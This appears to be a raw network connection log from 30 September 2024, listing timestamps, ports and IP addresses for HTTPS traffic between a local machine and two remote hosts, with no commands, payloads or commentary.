Sep 30, 2024 15:50:02.548312902 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.548418999 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.552458048 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.552470922 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.552823067 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.558950901 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.599395990 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.811115980 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.811181068 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.811258078 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.811278105 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.811327934 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.811614037 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.811768055 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.811819077 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.811827898 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.812045097 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.812119007 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.812125921 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.862601995 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.862634897 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.862684011 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.862716913 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.862778902 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.896044016 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.903490067 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.903523922 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.903553963 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.903630018 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.903630018 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.903661966 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.903903961 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.903955936 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.903961897 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.903979063 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.904026985 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.904308081 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.904424906 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.904479027 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.904493093 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.904998064 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.905028105 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.905077934 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.905087948 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.905164003 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.905280113 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.905806065 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.905909061 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.905962944 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.905971050 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.906107903 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.940661907 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.955032110 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.955141068 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.955202103 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.955235958 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.955281019 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.955291986 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.980894089 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.983031034 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.983058929 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.988496065 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.991744995 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.991770983 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.995949984 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996009111 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.996032953 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996114969 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996198893 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.996206999 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996315956 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996401072 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996453047 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.996468067 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996510029 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.996516943 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996634960 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996714115 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996766090 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.996774912 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.996818066 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.997196913 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.997509956 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.997572899 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.997586966 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.997663975 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.997714996 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.997723103 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.998032093 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.998142004 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.998200893 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.998209953 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.998255014 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.998262882 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.998353958 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.998497963 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.998506069 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.999100924 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.999164104 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.999222040 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.999233961 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.999277115 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.999283075 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.999365091 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.999754906 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:02.999763012 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:02.999923944 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.000000000 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.000009060 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.011223078 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.025679111 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.027721882 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.033524036 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.047364950 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.047478914 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.047513962 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.047543049 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.047575951 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.047600031 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.047600031 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.047616959 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.047658920 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.047661066 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.047672033 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.047718048 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.047723055 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.047733068 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.047769070 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.047831059 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.065881968 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.066276073 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.066297054 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.081008911 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.081073046 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.081084967 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.088310957 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.088399887 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.088468075 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.088478088 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.088522911 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.088529110 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.088603973 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.088702917 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.088747978 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.088756084 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.088798046 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.088804007 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.088897943 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089081049 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089129925 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.089138985 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089183092 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.089312077 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089432001 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089565039 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089617014 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.089624882 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089664936 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.089672089 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089776039 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089857101 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089909077 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.089916945 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.089960098 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.089966059 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.090255976 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.090341091 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.090405941 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.090414047 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.090459108 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.090464115 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.090547085 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.090627909 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.090672016 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.090681076 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.090723991 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.090728998 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.091367006 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.091484070 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.091538906 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.091553926 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.091590881 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.091597080 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.091691971 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.091762066 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.091780901 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.091809034 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.091972113 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.092021942 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.092034101 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.092070103 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.092078924 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.092329979 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.092377901 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.092386961 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.092516899 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.092569113 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.092576027 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.092715025 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.092793941 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.092844963 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.092854023 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.092890978 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.092897892 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.093108892 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.093189955 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.093235016 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.093245983 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.093277931 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.118129969 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.139761925 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.139791965 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.139820099 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.139842033 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.139880896 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.139926910 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.139935017 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.139990091 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140039921 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140043020 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.140050888 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140080929 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.140090942 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140135050 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.140141964 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140497923 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140544891 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140580893 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140598059 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.140605927 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140621901 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.140646935 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140681982 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140724897 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140731096 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.140738010 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140767097 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.140794992 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140832901 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.140839100 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.140979052 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.141021967 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.141067982 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.141074896 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.141151905 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.158510923 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.158741951 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.158790112 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.158799887 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.173336029 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.173394918 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.173408031 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.173459053 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.174274921 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.174283028 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.180900097 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.180968046 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.180994987 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.181073904 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.181194067 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.181241035 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.181251049 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.181296110 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.181304932 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.181545973 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.181634903 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.181694031 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.181703091 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.181750059 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.181756020 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.181869984 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.181967020 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.182018042 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.182025909 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.182069063 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.182075024 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.182190895 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.182344913 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.182396889 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.182404041 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.182449102 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.182456017 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.182620049 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.182709932 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.182764053 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.183111906 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.183160067 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.183166027 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.183260918 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.183312893 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.183319092 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.183499098 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.183557987 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.183566093 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.183698893 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.183772087 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.183778048 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.183916092 CEST	443	49704	140.82.121.4	192.168.2.7
Sep 30, 2024 15:50:03.184269905 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.213139057 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:03.263420105 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:08.181539059 CEST	49704	443	192.168.2.7	140.82.121.4
Sep 30, 2024 15:50:09.572726011 CEST	49708	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:09.572760105 CEST	443	49708	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:09.572917938 CEST	49708	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:09.604559898 CEST	49709	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:09.604612112 CEST	443	49709	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:09.604687929 CEST	49709	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:09.665025949 CEST	49709	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:09.665085077 CEST	443	49709	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:09.665441036 CEST	49708	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:09.665457964 CEST	443	49708	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.124280930 CEST	443	49709	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.124376059 CEST	49709	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:10.139527082 CEST	443	49708	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.139669895 CEST	49708	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:10.160186052 CEST	49709	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:10.160226107 CEST	443	49709	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.160618067 CEST	443	49709	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.160713911 CEST	49709	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:10.161282063 CEST	49708	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:10.161304951 CEST	443	49708	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.161689043 CEST	49709	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:10.161700964 CEST	443	49708	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.161988974 CEST	49708	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:10.163259983 CEST	49708	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:10.203398943 CEST	443	49709	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.203407049 CEST	443	49708	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.255959988 CEST	443	49709	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.256020069 CEST	49709	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:10.256630898 CEST	443	49709	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:10.256680965 CEST	49709	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:10.256911993 CEST	443	49709	185.199.110.154	192.168.2.7
